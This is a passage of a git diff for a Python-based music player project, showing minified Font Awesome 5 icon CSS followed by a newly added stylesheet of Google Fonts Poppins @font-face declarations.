}.fa-mitten:before{content:"\f7b5"}.fa-mix:before{content:"\f3cb"}.fa-mixcloud:before{content:"\f289"}.fa-mizuni:before{content:"\f3cc"}.fa-mobile:before{content:"\f10b"}.fa-mobile-alt:before{content:"\f3cd"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-motorcycle:before{content:"\f21c"}.fa-mountain:before{content:"\f6fc"}.fa-mouse-pointer:before{content:"\f245"}.fa-mug-hot:before{content:"\f7b6"}.fa-music:before{content:"\f001"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-nimblr:before{content:"\f5a8"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-not-equal:before{content:"\f53e"}.fa-notes-medical:before{content:"\f481"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-oil-can:before{content:"\f613"}.fa-old-republic:before{content:"\f510"}.fa-om:before{content:"\f679"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-osi:before{content:"\f41a"}.fa-otter:before{content:"\f700"}.fa-outdent:before{content:"\f03b"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-pager:before{content:"\f815"}.fa-paint-brush:before{content:"\f1fc"}.fa-paint-roller:before{content:"\f5aa"}.fa-palette:before{content:"\f53f"}.fa-palfed:before{content:"\f3d8"}.fa-pallet:before{content:"\f482"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-carry:before{content:"\f4ce"}.fa-pepper-hot:before{content:"\f816"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-square-alt:before{content:"\f87b"}.fa-phone-volume:before{content:"\f2a0"}.fa-photo-video:before{content:"\f87c"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-radiation:before{content:"\f7b9"}.fa-radiation-alt:before{content:"\f7ba"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-remove-format:before{content:"\f87d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-restroom:before{content:"\f7bd"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-satellite:before{content:"\f7bf"}.fa-satellite-dish:before{content:"\f7c0"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-tripadvisor:before{content:"\f262"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:normal;font-display:auto;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands"}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:auto;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.far{font-weight:400}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:auto;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:"Font Awesome 5 Free"}.fa,.fas{font-weight:900} \ No newline at end of file diff --git a/py_based_music_player/css/webfonts/css2.css b/py_based_music_player/css/webfonts/css2.css new file mode 100644 index 00000000..1fa4fa93 --- /dev/null +++ b/py_based_music_player/css/webfonts/css2.css @@ -0,0 +1,162 @@ +/* devanagari */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 200; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLFj_Z11lFc-K.woff2) format('woff2'); + unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB; +} +/* latin-ext */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 200; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLFj_Z1JlFc-K.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 200; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLFj_Z1xlFQ.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} +/* devanagari */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 300; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLDz8Z11lFc-K.woff2) format('woff2'); + unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB; +} +/* latin-ext */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 300; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 300; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} +/* devanagari */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 400; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiEyp8kv8JHgFVrJJbecmNE.woff2) format('woff2'); + unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB; +} +/* latin-ext */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 400; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiEyp8kv8JHgFVrJJnecmNE.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 400; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiEyp8kv8JHgFVrJJfecg.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} +/* devanagari */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 500; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLGT9Z11lFc-K.woff2) format('woff2'); + unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB; +} +/* latin-ext */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 500; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 500; + font-display: swap; + src: 